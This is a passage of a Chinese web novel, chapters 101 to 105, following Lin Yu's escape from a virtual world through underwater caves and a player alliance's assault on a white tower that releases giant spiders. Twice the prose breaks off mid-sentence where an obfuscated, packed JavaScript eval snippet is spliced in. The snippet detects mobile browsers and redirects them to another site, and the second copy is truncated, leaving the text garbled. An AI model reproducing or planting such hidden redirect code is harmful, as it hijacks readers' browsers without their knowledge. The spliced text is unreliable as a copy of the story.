林屿的半张脸像是同时泡在冰凉的水里和温热的泉里,或许是这回没有干扰,回忆顺利无比,等到触底,面前赫然有好几个反光的标记,这些便是回忆里言教授最有可能的选择,只不过林屿无法确定是哪一个。 不过,她有不走对路也能瞎猫碰死耗子的方法。 氧气已经所剩无几,林屿本想用“给予从水面偷渡点空气进来,想了想放弃了,这个深度不知道有没有超出能力范围,万一距离没把握好,把水弄进氧气瓶了,那自己将会死得非常搞笑。 她随便选了一个隧洞,飞速往前游,遇到岔路随手标记一下然后统一选最左边,游动的时候,她的手上扯了一大把水藻,有一搭没一搭地扯弄着。遇到死路就回头,能往下走就继续向前,就这样试了八九个方向。 忽然,她感觉四周的阻碍一空,石壁被留在身后,面前豁然无阻,却也伸手不见五指,一方漆黑的新天地。林屿打开头顶探照灯,有些犹豫要不要向前——这里不是她要找的方向。 她记得言教授的终局,虽然他是在岸上消散的,但同行NPC有很多还没浮上去就变成了一张蜘蛛网皮,这意味着他们离开隧洞后基本上已经离开虚拟世界,处于现实。可她现在还能用系统背包。 此时此刻,她手上的水藻剩下一小半,林屿把空间里的水藻一股脑倒出来,一小截一小截弄断的细小茎须漂浮在水中,像是起了一场绿色的大雾,只不过光线昏暗,大雾也如融化在夜里般慢慢飘散。 林屿估摸了一下氧气余量,本来已经转了一半身子,准备回去,灯光扫过黑暗,穿透力极强的光束照亮了前方的残骸。她心头一动,鬼使神差般地游过去。 102.第一百零二章 这是一具科技造物的残骸,灰黑的底色上流淌着银亮的反光。它损毁得厉害,几乎一半机身受到未知的侵蚀,如果缺口没有像烫伤一样融成一堆金属泡或是往下掉渣,那就裸露着她看不懂的各种零件。 林屿的心口猛地震动两下,感觉自己像是上个世纪目睹UFO的空想家,或是该被关进病院的妄想者,仰头膜拜着未知的美丽与怪异,大脑里有一场无人知晓的翻天覆地。 舱门本就是打开的,内里空间不大,不像是能载很多人的样子,这让她松了口气,至少这不是什么大举入侵地球的事件,而仅仅像是一个意外。 林屿只花了几分钟就逛完一遍,最后停在一座操作台前,这是唯一引起她注意的地方,上面有一个脸盆大小的凹槽,像是被什么东西砸过似的。然而,凹槽精密的几何形状和四周围列的按键清楚表明一个事实——这是本来就有的,专门设计的。 凹槽底部有黯淡的纹路,林屿摸了摸,一点凹凸不平的感觉也没有,不知道是做什么用。她耸耸肩,本该珍惜那最后的氧气就此离开,然而一种说不清的感应袭来,她把自己唯一那块石头拿在手中,放到了偌大凹陷中央,像是往一个大西瓜上放了颗瓜子。 石头刚刚放稳变化就显现,像一朵火花点燃了引线,从接触的地方开始,纹路流淌出科技感的蓝绿光华,以肉眼可见的速度向外延伸,很快就要延伸到操作台上的按键处。 林屿吃了一惊,反应极快地要收回它,心里已经对其作用了如明镜。 ——能源!是这艘不明飞艇的能源! 不能让它启动!林屿刚刚触碰到石头,准备将其撤下,忽然察觉到什么,缓了半拍。只见行进的纹路光华已然滞涩变缓,随后停下,延伸最远的部分也只堪堪点亮离得最近的按键。 能源太少了。 林屿收回石头,忽然感觉大脑发晕,深吸几口气也毫无缓解,她顿时明白氧气已经耗尽,不再贪恋此处不知真假的残骸,飞速往回游动。 一个岔路,两个岔路。 她沿着做好的记号返回,然而一个晕头转向的眼花,“飞行”开得太快,她隐约走错了几个岔道,随后,进入了一个漫长的隧道。 这是一个没有被标记的洞口,不在之前的探索范围内,但她往回也弄不清方向了,林屿急促地吸气,可是丝毫没有呼吸的感觉,肺像是要炸开,眼前越来越黑,越来越无法清楚认路,她索性放弃那崎岖难辨的回头路,押上全部身家性命赌注未知的前方,以最快的速度游去。 不知过了多久,可能现实里只过去半分钟,但对缺氧的人来说有一个世纪那么长,林屿骤然冲出石洞,感受到头顶阻碍的移除,于是猛然向上,几乎顾不得水压的问题了。 “哗啦。” 空气大口大口涌进肺部,林屿抹了一把脸,慢慢往水岸游去。到了浅水区,她的脚碰到实地,走了几步忽然一个趔趄,脚心一痛,像是踩到什么硬东西。 林屿用手一摸,捞出一个河螺,螺被抓出来之后,软肉回缩,将螺盖牢牢堵上,一副拒人千里的态度。要是河边玩水的人看到这玩意可能会皱眉,但她却像是捧着什么黄金宝石,一时移不开目光。 活的,河螺。 活物。 林屿的表情有那么一会儿是空白的,好像有血液通过动脉汩汩流动,或许是缺氧眩晕的后遗症,她心跳得很快,往前到岸上的几步都是踉跄的,离开水面时,脚脖子一歪,直直坐到自己的腿上。 她出来了? 她已经离开游戏,回到现实了? 林屿的一只手上还拽着一根水藻,她试图装进系统背包,水藻没有任何动静。于是她在脑海中呼唤面板。 面板仿佛是一个梦。 她出来了! 林屿抹开脸上的水,把头发往后捋,就着跌坐的姿势想要大笑,可她从来没有大笑过,笑不出来,于是大笑变成了咳嗽,咳嗽变成深深的喘气。 她出来了。 她回到了现实,回到了不用担心生命安危,饮食住所,却在过去二十五年每一天都被安排控制的现实。 林屿渐渐冷静下来,确认周围没有显而易见的危险之后,从防水袋里拿出传信纸——也是时候告诉队友自己的发现了。 她兴奋地展开纸张,准备把见闻写上,就看见原本没几句话的白纸已经密密麻麻排满了一大半,纸上,还在源源不断地出现新的内容。 【你在哪里?】 【回个话好吗?】 【给我个方向,我马上过来!】 【你的氧气不够,听话,快回来吧!】 【人呢?】 【不会死了吧?】(划掉) 【我的天,都这么久了,你到哪里了,快回个话啊!】 啊这…… 林屿慢慢缩回手指头,露出惨不忍睹的脸色。 她现在认错,还来得及吗? …… 白塔广场。 原先里三层外三层包围的人已经撤下,余下来的空间里,几队玩家整齐有序地站成几排,分出明显的前后次序,像是等待交接力棒似的。 离塔最近的楼房里,原先防止玩家乱闯的岗哨已经撤下,换成了能与各会长直接通讯的指挥官,他们站在高高低低的天台上,手持喇叭,拿着各色的通讯物,随时等待指令。 玩家公会楼顶,唐瑜妡的办公室已经变成临时指挥部,玩家联盟的所有会长都聚在这里,没有遮挡的完整空间与墙面的玻璃构成通透的视野,让他们能清楚地看见白塔下的情况。 唐瑜妡事先让华浩俊造了一个大圆桌,排了一圈椅子,供各位会长讨论和休息,她自己还是坐在轮椅上,不过推着她的人已经变成田子阳,作为建造者,华浩俊有他另外的任务。 何芝站在窗口,与高羽函肩并肩,这位黑蜘蛛会长虽然表情镇定,但一直拉着她说个不停。 “唉,谁能想到我们是在这种地方呢?弄得像什么不可违抗的高维和高科技似的,要是早知道是蜘蛛,大家早就坐不住了吧,被低等生物拉屎拉到头上,早就火冒三丈地掀桌子了,也不至于到现在才开始反抗。”高羽函愤怒地用指甲敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228861|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了敲面前的玻璃,像是要隔空把白塔震塌一样。 “嗯。”何芝却有些心不在焉,时不时拿出传信纸看一眼,“行动马上要开始了。” 高羽函:“是啊,还好我妹已经出来了,不然我可不会同意他们开始。” 何芝的眉心皱出褶子,头疼地捏了捏鼻梁,心里却在想那俩家伙到底靠不靠谱,杨紫陶她了解,事先也打过招呼,不会给她整幺蛾子,那么问题就出在林屿身上了。 这时唐瑜妡出声道:“是时候了。” 圆桌中央摆着一个闹钟,也不知从哪里弄出来,时间准不准,但它能照常地走秒,用作仪式感的开始却再合适不过。 三根指针重合在最上方,闹钟铃铃铃地响起来。 唐瑜妡最先对海螺下命令,“开始攻塔。” 与她相熟的会长也陆续用各种通讯工具传话指挥官,而另一部分人更看重告知众人真相的何芝,他们犹豫地看着她,不明白这个最开始的组织者为什么迟迟没有动作。 何芝似乎轻叹了一口气,说道:“行动开始。” 随着她点头,白塔下等候的人终于全部行动起来。 何芝说完之后,就把两张传信纸并列,一张是联络杨紫陶和林屿的,一张是联络指挥官韩舒的,此时第二张纸上出现“收到”两个字,有问题的是第一张。 看着大片字迹,她就知道“缝隙”里的情况了,林屿不愿放弃,所以绕开杨紫陶行动了。 这在她的预料之内,但却在内心的期望之外,其实她们继续行动本身没有问题,但却验证了她的某个猜想,某个会影响到林屿将来的猜想。 杨紫陶已经做了十几年警方线人,经验老到,绝对不是能三言两语被说服的角色,何芝让她看着林屿,那么按照通常情况,林屿几乎没有可能绕开她——可小概率事件再一次发生了,就像她想说服的会长和林屿谈了一圈全部同意联合了一样。 林屿有某种能影响到思维的技能。 何芝终于重重地叹了口气,在这个世界,林屿有什么技能完全不影响别人的看法,甚至是技多不压身,越厉害越能获得拥护。但一旦成功离开,回到现实,她职责所在,不可能放任潜在的、可能危害社会的风险不管,汇报之后,林屿之后如何便很难说了。 ——可能受到监视,可能会被管控,最轻的也会影响毕业后的职业选择范围。 如果考虑到她在副本里的杀人行为,那么情况会更严重。 可是,林屿的每一次“过激”,不过是为了自保,每一次结果,都让种植者联盟度过危机,她不该因为一个技能被外界严阵以待。 何芝被此起彼伏的惊呼声惊醒回神,定睛一看,广场的玩家已经开始第一轮攻击,高高伫立、被所有人仰望的白塔在建造者的技能之下开始倾斜、扭曲,像是一张被强行拉扯到弹性极限的布,仿佛再推一把就会倒地。 广场上已经有玩家举起双手欢呼,一些会长已经露出笑容,何芝却没有一点放松——太轻易了,白塔这么轻易就能摧毁,就没有一个人误打误撞发现这一点? 103.第一百零三章 白塔下,十几个建造者合力施放技能,华浩俊、盛堃两人都在其中,他们额头上见了汗,脸涨得通红,想来是用尽全力了的。眼见塔身倾斜,四周待命的其他技能者开始欢呼,他们咬牙硬撑的那口气渐渐有些松了。 就在塔身倾斜到十多度的时候,几个建造者精神力用尽,脱力向后跌倒,华浩俊感觉阻抗力骤然增大,像一记闷锤砸在脑子里。他就像一个拼命牵着大人衣角的小孩,不等他做出什么反应,那边已经将他一脚踹翻,抽出衣服起身走人。 白塔像是弹簧一样,突然往斜角相反的方向弹去,在那边压缩到极致时又弹回来,摇晃几个来回,速度却快出残影,让人根本来不及反应。 如果真的是弹簧那还好,顶多打得人手一痛,然而白塔几十米的高度,来回掀起的气浪已经将广场玩家吹得东倒西歪,离得最近的建造者首当其冲,有的甚至被掀上了天,飞出十几米远后往房子上一摔,也不知会断几根骨头。 华浩俊稀里糊涂地被几个人抓住,稳住了没有上天,但也往后滚了好几圈,摔了好大几个跟头,等脑子被撞的眩晕感过去,他感觉左腿一阵钻心的疼痛。 会议室里落针可闻,会长们长大了嘴,没有料到看上去坚不可摧的白塔腰身如此柔韧,竟能左摇右晃不掉一块石头,这和预想的情况大相径庭,他们一时不知道原先的计划还要不要继续。 唐瑜妡看了他们一眼,轻蔑一笑,她率先拿起海螺,冷静的声音传入众人耳中,“安置伤员,建造者退后,第二组继续。” 何芝正早已利落写下命令,这个时候像是和宿敌心有灵犀一般,回头解释道:“这种程度的形变,不管什么建筑都该开裂了,白塔却还是完整的——它不是普通建筑,建造者的技能不管用,但第二组是风刃队伍,用物理攻击再试,注意让其他人退开点。” 其余会长面面相觑地对视一眼,现场有指挥官的连忙拿起通讯工具。 唐瑜妡以手托颔,也不看她,继续下达了第二条指令,“风刃向方才的位置切割。” 这也是早就商量好的,前一组攻击不起效,后一组继续攻击同一个地方,除非找到其它明显的弱点。何芝看了一眼众人,不再言语,向韩舒下达了同样的指令。 白塔广场上早就有辅助的玩家把伤员抬走,送到后方治疗,华浩俊固定伤腿的时候鬼哭狼嚎地喊妈,忽然又想起自己离家快两年,爸妈不知道怎么担心怎么着急,要离开神奇世界丢掉技能升级之路的不甘心顿时消散不少,取而代之的是回家的思念。 腿固定好了,眼泪流完了,也就顺理成章注意到旁边的人,“盛叔叔,你伤到哪了,怎么包成这个样子?” 盛堃包裹的地方很奇怪,一块纱布四四方方留置在脸的正中央,遮住一半眼睛一半嘴巴和全部的鼻子,一条绷带像斑马线一样横截半张脸,横过耳朵绑在脑袋后面,还系了个蝴蝶结,看上去像是把脑袋当成了个未拆包的礼物。 “闭嘴!”盛堃似乎想冷声呵斥,可他的声音翁声翁气的,威慑力还不如蚊子,“他们没胶带了,人也没受过急救培训。” “哦、哦……”华浩俊还想仔细端详这造型,被盛堃翻了个白眼。 “你的头真硬。” “啊……”华浩俊后知后觉地反应过来,之前抓着他没让他吹飞的人就是这位叔,而他撞到了人家鼻子还想看笑话,连忙道歉。 “对不起,你没事吧?要不我重新给你绑绑?” 华浩俊拉开绷带摆弄半晌,看着新鲜出炉的蝴蝶死结陷入沉思。 “那个,盛叔叔,其实我也没受过培训……” …… 白塔广场只剩下“风刃”队,其他待命的人已经退回建筑圈,第一回教训深刻,如今没有谁看轻这弱不禁风左摇右摆甚至还能磕头的塔,甚至不知道这玩意究竟是个啥。 “风刃”队里实际上只有几个能用出风刃的玩家,毕竟大家技能如此多样,要几十个人一模一样实在强人所难,所以这队人实际上都是远程物理攻击的玩家,有操控风的,有压缩空气的,有能御器的,攻击一打出去,那叫一个五花八门,像是哪个仙门在开会。 韩舒站在离战场最近的矮楼天台,一看这杂乱无章的攻势就拧眉,拿起喇叭让他们一类一类来,别风刃打掉了别人的剑,空气刀阻了气拳的路。 风刃队的玩家攻击力强悍,或许是在副本里当惯大佬,也不愿意被人小瞧,很快便分出章程,一组一组地攻击,拳头过了上刀子,刀子过了上气刃,往同一个地方打了几十次攻击。 这回没有像拉弓弦一样拉塔,塔也像个好塔,没有扭腰跳秧歌,只是在受力是略微震动。没有上回的风险,风刃组攻击接连不断,很快出了效果——白塔受击的位置出现一道裂痕,随着攻击次数增加,裂痕也逐渐扩大。 “有用,有用,让他们稳住!” “不要停!继续打!” 会议室里有窃窃私语的,有加油鼓劲的,会长们激动地站在窗边,恨不得白塔马上被轰掉一个顶。何芝先前在窗边,现在却逆着大流退后两步,站到唐瑜妡身边。 “风刃队快到极限了。” “我看也是。”唐瑜妡顺畅无比地接话,赞同了何芝的看法,仿佛她们先前的明争暗斗已经化为玉帛,自己也没有硬生生从玩家联盟分走指挥权,“下一组你认为谁上比较好?” 看见何芝的眼神,唐瑜妡笑道:“别这么看我,如果不是我,你到现在还没集权,只能各家指挥各家的人,那有什么意思?如果不来点硬的,他们是不会齐心协力的。” 何芝没什么表情,“像之前你吞并我公会一样来硬的?” “不错。”唐瑜妡道,“他们可不像你们一样能扛到最后,逆风翻盘。” “所以,你争权是打算帮我?”何芝反问。 唐瑜妡:“只要你的指挥不出错,我就会一直按你的判断来——毕竟,是你发现的世界真相,如果还有谁能带我们突破这里,你的希望最大。我不像他们,首鼠两端。” 何芝目光微动,这时,扒在窗边的会长们发出一阵失望的惊呼,有人不可置信地喊道:“怎么会这样,塔还能自愈的?” 两人凑近往下一看,风刃队的成员几乎耗尽精神,攻击的频率变得和切豆腐一样慢,白塔上之前被砸出裂缝的地方竟然从两边开始逐渐缩小,粘合,仿佛有一双无形的手在背后粘胶水一样,反常得让人有些背后发毛。 太不对劲了! 一个砖石修葺的塔怎么可能左摇右晃,怎么可能自动粘合?何芝回想起上回白塔之灾,那倒塌一半的塔身也是无人干扰下慢慢恢复如初的,当时没有人多想,只认为是系统的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后面杨紫陶的“怎么回事”写了一半,又想起何芝还在指挥战局,可能来不及解释,于是转头开始cue林屿。 被消息轰炸的林屿一个头两个大,也不明白为什么,这里一看就是地下或者山体里,没什么野兽和大型动物,她坐在这里这么久了,也不见爬虫蜥蜴之类的,只有水滴的声音,安静得很,为什么要让她离开?危险又是哪里来的? 林屿相信何芝不是在骗她,但是,找路哪里有不危险的时候?种植者获得真相的每一步,她来到这里的每一步,不都充斥着各种各样的危机吗?现在就这么回去,一切都得重头再来,只为了一句小心危险的话。 这样不明不白的感觉让她心烦意乱,或许长久在压抑的环境里长大的人心里都有一座烧红的火山,某些时候,她会执着于某种东西,丧失对自身安危的权衡。换句话说,宁愿当个明白的死鬼,也不做糊涂的活人。 林屿没理会杨紫陶的晓之以理,苦口婆心,在传信纸上写道: 【为什么】 随后,她折好纸张,放回防水袋,捡起一块尖锐的石头,在上岸出划出白色痕迹,用头顶探照灯作为照明,沿着水流的方向行去。 边走,边在显眼的位置刻好记号。 104.第一百零四章 在指挥官收到“烧”的命令之后,火队的玩家组就开始对白塔放技能,照旧集火于之前破口的部位,很快,他们的攻势就见成效。 塔腰饱受摧残,先是被建造者拖拽,然后被风刃切割,好不容易恢复如初,现在还要继续被火焚烧,如果它有嘴,可能还会大喊“为什么受伤的总是我”。不过之前几回它展示了令人惊叹的恢复力,因此玩家们看见塔身被燎出一小块焦黄的底,也没有太过激动,心里都在猜测它这回要怎样修复。 焦黄的区域越来越大,从中央开始,逐渐变褐变黑,似乎有一股力量在阻止损伤扩大,但火队玩家的数量是风刃队的好几倍,而且他们的技能高度相似——或许得益于各类游戏和世界观的普及,玩火该怎么玩,能玩出什么花样,每个人心底都是同样的演示效果,因此这回的集火程度以及续航时间都提升了。 终于,塔腰被集火的部位被烧成焦炭,簌簌往下落渣。这下,所有人的目光都聚焦在破口处。 “田子阳,你能看见里面有什么吗?”唐瑜妡的眼里,破缺的地方只是一块阴影,但她特意让他来推轮椅,并非没有对技能的考量。 田子阳的技能是看,他能看见别人看不见的东西。 “里面……好像有东西在动。”田子阳眯着眼睛,不太确定地说道,“离得太远了,我的技能并能增加视力。” 唐瑜妡问道:“你觉得是什么?实体,还是某种能量?” 田子阳肯定道:“实体。” 何芝听见他们两人的对话,皱眉沉思片刻,忽然拿起传信纸,“让他们都退远点。” 唐瑜妡不解地重复了一遍,“退远点?洞被补上了怎么办?” “有危险。”何芝言简意赅,“立刻传信!” 虽然不是很明白,唐瑜妡仍旧照做,拿起海螺传了个口信。然而大战在捷,这个命令被另外有指挥权的会长拒绝了。 “你没看到已经有效果了吗?好不容易这回可以继续,为什么要退?” “对啊,我知道你的工作对紧急情况有一套应对办法,但这样无凭无据的……” 反对的人话没说完,还在观察战局的人就已经双眼圆瞪地惊呼出声,“看啊!那是什么!” 一条巨大的、白色的、长满尖锐锯齿和突刺的腿自破口处伸出,眨眼垂下十几米的高度,落在地上,瞬间刺穿了好几个躲闪不及的火队成员,广场上一时尖叫惨胡响成一片。 韩舒拿着大喇叭,感觉背上寒毛一根根全部都竖起来了,一股恶寒从头顶浇到脚底,他打了个不受控制的寒噤,被扑面而来的厉风扫到脸上。 他是指挥官,站的楼是离广场最近的一排,因此那属于节肢动物的腿就算没碰到他,也像是戳在鼻梁面前。 你试过放大一小块皮肤吗?原本肉眼看上去光洁的部位,实际上全是沟壑、凹坑和色块,汗毛像歪歪扭扭的电线杆,种在塌陷的毛孔上,褶皱堆叠,让人恨不得开十八倍美颜。 你试过放大一只蜘蛛腿吗? 韩舒能清楚地看见每节足肢,每根纤毛,纤毛上的血迹缓缓流下,寄生的螨虫大口朵颐,他双耳嗡鸣,此时,第二只蛛腿已经伸出。 他忽然间从僵直的状态回神,拿起大喇叭嘶声吼道:“后退!后退!前面的顾一下后面的!离开广场!能打的技能者归队断后!” 会议室已经乱成一团,会长们已经迫不及待地想要逃命,然而唐瑜妡被田子阳推着,面带微笑地拦在大门前,而她身边,只在副本里出现过的无面杀手露出身形。 “诸位,前线还在等你们的命令。” 何芝面向众人,轻轻巧巧地弹了只笔出去,落到一个椅子上,直接让它粉身碎骨,变成一股粉尘。 这下,跑在最前方的几只脚慢慢地缩回大部队里去了。 “这个……现在是该齐心协力。” “是啊是啊!” 何芝沉下眉眼,对那几个手握指挥权的会长说道:“传讯物交给我。” 蜘蛛已经撕开了纤细的白塔,宛如异空间入侵的怪物,从这一个缝隙挤进了大白塔数倍的身躯。玩家尖叫声连片,这个时候管他什么技能通通忘记,只剩下最本能的驱使——逃命。 韩舒还坚守在天台,但他看到另外好几个指挥官已经下楼逃命,好些伤员被丢在原地,蜘蛛一只就有十几米高,随便晃一晃脚就像切豆腐一样划开楼体,而且还不止一只,它们还在源源不断往白城挤! 看起来玩家的末日已经来临,韩舒内心一片凄凉,但要当逃兵也做不到,而且他自觉也跑不过人家,于是准备慷慨赴义(闭上眼睛等死)。 然而他还没来得及找个风水好的位置,就听见一声巨响,随后嘶哑的气音震颤耳膜,他后知后觉地发现,这是白蛛的哀鸣。 刚刚出来的那一只被砸断了前肢,蓝绿色的血液洒在白色的地面,看起来像一滩污毒的腐水。后撤的技能者纷纷抬头,看见那唯一与巨蛛平齐的高楼,楼顶伫立的人影衣袍猎猎,与巨兽呈对峙之势。 何芝下达命令,“火队干扰,风刃队砍脚,水队往蜘蛛眼睛上招呼。” 田子阳立刻对着眼前十来个通讯工具喊话,高羽函则在好几张纸上奋笔疾书。 唐瑜妡在她身边,已经建模建出了一只麻雀,鸟衔着何芝打出去的石头往蜘蛛的方向飞去,“这回可以打头,一击必杀。” 何芝点头,“可以。” 她们身后,田子阳和高羽函充当传信人,而各会长也被一同请上了天台,他们苦着脸,迫不得已充当着吉祥物。 “你的技能是不是进步了?”唐瑜妡忽然问道,“以前一碰到东西就要炸——你现在可以控制了?私底下练的不少啊。” 何芝:“彼此彼此,你的技能不也能在白城用了吗?” 唐瑜妡一笑,“你们都可以在白城用,凭什么我就不能呢?” 何芝:“不只是数据建模?” “这么久也该升级了。”唐瑜妡凑近一点,手掌从她面前一晃而过,何芝瞬间瞪大眼睛,然后看见对方比了个“嘘”,“和你一样。” 麻雀从上空丢下石块,随后被有了警觉的白蛛一脚扫下去,拍蚊子似的拍死在地面,还殉葬了一栋楼,可惜石头体积更小,虽然被气流带偏了位置,却仍然砸在了蜘蛛身上。 它的腹部翻出血花,内脏流了出来。 看见这一幕的人头皮都要炸了,场面十分恶心,但惊慌失措的技能者们却没有那么胆战心惊了——被打伤的怪兽已经从神坛跌落,变成可攻略的Boss,看起来还很脆,那他们还跑什么跑? 很快,鼓起勇气的一部分人又往回聚,被还坚守的指挥官们用大喇叭整队安排好任务,技能 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林屿看得愣了愣,白蛛巨大?有多大?一个人那么大?她顾不上留言解释会不会就是遇到了巨大的白蛛,可是何姐不是在攻塔吗? ——白蛛从塔里跑出来了。 她很快想明白发生了什么事,但依然有一点不明白。 如果白蛛巨大,言教授不可能不带武装就野外观察,他的笔记里也清清楚楚写了白蛛有多大,难道吃昆虫小鸟的白蛛和圈养玩家的白蛛不是同一类,后者再次变异了? 林屿闻到一股焦糊味,她抽了抽鼻子,喃喃自语:“烤蛋白质的味道……有人在野炊?” 想到有人,现实中的人,她不由精神一振,大踏步往气味的来处走,期待能借到手环报警,把何姐她们搜救出来——她自己的手环放在背包,跟着系统一起消失在不知名的地方,估计难以在茫茫人海里主物重逢了。 顺着水流的方向,越往下越潮湿,依旧黑灯瞎火的看不到天,那阵烧烤味却越来越浓,林屿脚步慢下来。 不对劲,会有人在这种地方野炊吗? 林屿刚要退后,脚背忽然一阵酥麻,顿时,她背后起了一层密密麻麻的鸡皮疙瘩。她下水后一直是穿着潜水服的,不可能还背着背包,所以现在浑身湿透也没个鞋穿,刚才分明是感觉有什么东西飞快地爬过去了。 探照灯扫过,地面上挪动的活物顿时显露身形,是一只巴掌大的、苍白的蜘蛛。 白蛛? 林屿有些怔愣,不是说“白蛛巨大”吗?她都做好看见人那么高蜘蛛的准备了,怎么实际才和捕鸟蛛差不多? 难道这是只刚出生的幼蛛? 探照灯往前,狭长的水流地带到了终点,从一个狗洞大小的缺口流出去。缺口那头有隐约的光亮,似乎就是出口所在。 林屿定了定神,俯卧着匍匐过去。 探照灯没关,露头的第一眼,她就恨自己没多长几条腿不能伪装成蜘蛛同类,恰好此时还留在狗洞里的脚心一痒又是一麻,她就知道后方也有蜘蛛,没办法后退。 林屿以最快的速度抽腿向右前方一滚,掩护在一处凹陷的地形后面,这才抽出机会打量起山洞中央的鬼东西。 105.第一百零五章 头顶有一线天光漏下,照亮了洞穴中央的巨物,那是由无数细丝交缠织造,贯通上下的漏斗形蛛网。承接到阳光的部分闪烁金铁的冷光,而留在阴影里的网丝弥散成苍白的细雾,仿佛趴伏在背上的鬼影,黑洞洞地觑着人。 阴冷的腥风扑面而来,几乎震慑心魂——如果那漏斗巨网的中间没有起火的话。 ——原来这就是焦糊味的来源。 无数通体纯白的蜘蛛在网洞边缘来回,如果不是光线将它分了个明暗,几乎发现不了。林屿看到有一些白蛛已经穿过缺口,仿佛不怕边缘上的火势。不知是不是她眼花,那些穿过去的蜘蛛都不见了。 过了一会儿,确实一只都没从里面爬出来。 林屿眼里闪过一丝暗光,被蛰的腿已经僵麻了一半,她不由自主动了动关节,感觉踢到了什么东西,怕脚下没轻没重,她连忙回头,却被搞出来的动静弄得顿时瞠目结舌。 一个骷髅头骨碌碌地滚动着,“咔嚓”一声落在碎骨里,不止压垮了别人,还把自个儿也摔成八瓣。腿骨、胫骨、盆骨、指骨散乱一地,全都是残缺不全的、人类的骨头。 所以她选的这个地势低的位置是个抛尸地?! 靠!白蛛果然吃人! 林屿心里一瞬闪过很多念头,同时,无数巴掌大的蜘蛛从旁边山壁和脚下四方冒出头来,八条腿快出残影,一起向内包抄。林屿暗骂一声,大约方才动静太大惊动了它们,或者那狗洞里蜇人的蜘蛛早就报信摇蛛了。 不过现在,她觉得自己被整出密集恐惧了。 如果今天跑不出去,林屿毫不怀疑自己会经历一把“被活活吸干”的终极生命体验,白蛛吃东西是注入毒液腐蚀成液体之后再喝,那些骨头上还有腐蚀的痕迹,个个骨质疏松,没一根木头硬还如此轻易地被砸散也有这个原因。 林屿好不容易挑了根像样的当武器,结果一到手还没挥出去,那根腿骨自己先折了,留下一个尴尬的膝关节握在手里。 对不起对不起,她在心里匆忙道歉后把骨头一丢,从腰上掏出油漆喷雾罐,“咚咚咚”几下拍死几只靠近的白蛛,随后飞行一用,身体腾空而起,用制空权降维震慑了一番跳不上来的没翅膀生物,终于暂时争得了主导权。 然而,山洞就这么大,头顶的缝隙只有手臂那么宽,根本过不了人,几个出口都有白蛛守着,林屿飞着绕了一圈,不得不承认狗洞才是最大的那个,其它的连头都挤不进去。 靠,就要这样被耗死在这里吗?她堂堂智慧生物,还是拥有超能力的智慧生物,竟然要栽在这群节肢动物手上? 林屿非常不甘心,要是这种事发生了,她一定会死不瞑目,就在上下打量敌方阵型时,她渐渐冷静,脑子里冒了点有用的东西出来。 蜘蛛通常都是独居,群居的有但少,大部分停留在“邻里互助”的程度,但那种族群数量有限,到达这种规模还分工明确的,铁定属于社会性行为了,也就是内部群体有阶级划分。 只要杀死金字塔顶端的那只,其它蜘蛛就会像没头苍蝇一样乱撞,不会和现在一样有序地堵住每一个出口,有组织有纪律地包围她了。 那么白蛛老大会在哪里呢? 蛛网从头顶缀下,悬在一片水潭上,水潭漆黑,岸边坑洼不平,林屿一时还不知道哪个龟孙蜘蛛才是头头,但她已经有了行动计划。 …… 第五只、第六只白蛛相继而来,白塔从逃跑的希望变成了通往异空间的裂缝,原本散发着希望和圣洁光芒的瘦高建筑成了众人心中的魔物巢穴,先前在许多人心中冒着先驱者光环的何芝便成了这场混乱的祸首,在看到抵抗的技能者无法阻拦怪兽之后,人心便散了。 白城一片混乱,原本留在稍远建筑内的玩家看到高达十几米的巨大蜘蛛,纷纷弃房逃命,街头一片混乱,他们望着远方缓缓倒塌被烟尘埋没的高楼,只恨自己没有多生两条腿。 系统尖锐的噪音还在继续,可在生死关头,也能被大部分人忍过去。先前被何芝唐瑜妡挟持着走上显眼的天台的会长们失控了,他们不愿再做稳固军心的吉祥物,面对毁楼掀砖如分花拂柳的巨蛛,他们忍无可忍地动用了技能,终于捞起了一点曾经在副本大杀四方的模样,却是为了逃跑和发泄。 唐瑜妡用无面人挡下几轮攻击,比直升机还大的鳌肢就夹了过来,他们这么多人,这番动作太吸引注意,蜘蛛要是不朝这处下手才是傻子。 看到这一幕,余下那几个发泄怒火的会长也跑了,只剩下高羽函和田子阳拿着被他们遗忘的通讯指挥工具,不知所措地站在原地。 何芝找准时机丢出一块碎石,“震荡”强有力地对上白蛛鳌肢,撞击的余波掀翻了留在天台的每一个人,高羽函眼疾手快地抓住两张纸,就一头撞在破了一半的墙体上,继而晕了过去。 趁白蛛吃痛回缩时,何芝匆忙把人背起,还没下一步动作,眼神忽然定在破烂不堪的白塔方向。 唐瑜妡摸了把脸上的灰,已经从轮椅上摔下来,艰难地撑起身子,又建模了一只可以驼人的雕,“走!下楼!不能再留在这里了!” 何芝眼睛瞪大,嘴略微张开,有那么一会儿,她以为看见了幻觉。 从白塔的缺口开始,几根宛如神话巨人一样的指节探入,却一点都不稳重,在摸到一只白蛛后差点惊吓起飞,随后缓过来,两指弯曲,啪一下用中指弹飞了那个最后面的倒霉蛋,把它一屁股蹦到天边。 一些玩家察觉到黑影掠过,抬起头,只能看见那巨兽抛出的弧线坠向遥远的边疆,像是落日西沉一样不见了踪影。随后那两根指头像是撕纸一样,缓缓地、一点点地撕开了天幕。 那张悬在白城头顶,所有玩家习以为常甚至信以为真的天,就这样破了。 破了的天幕之后依旧是混沌,然而,何芝却像是明白了什么,把满身上下摸了一遍,想找联络林屿熊孩子的那张传信纸,她找得鞋都脱下来抖了,忽然后知后觉地想到那张纸可能跟着联络韩舒的那张一起夹带给高羽函,被方才的冲击波一起吹飞了,心顿时凉了半截。 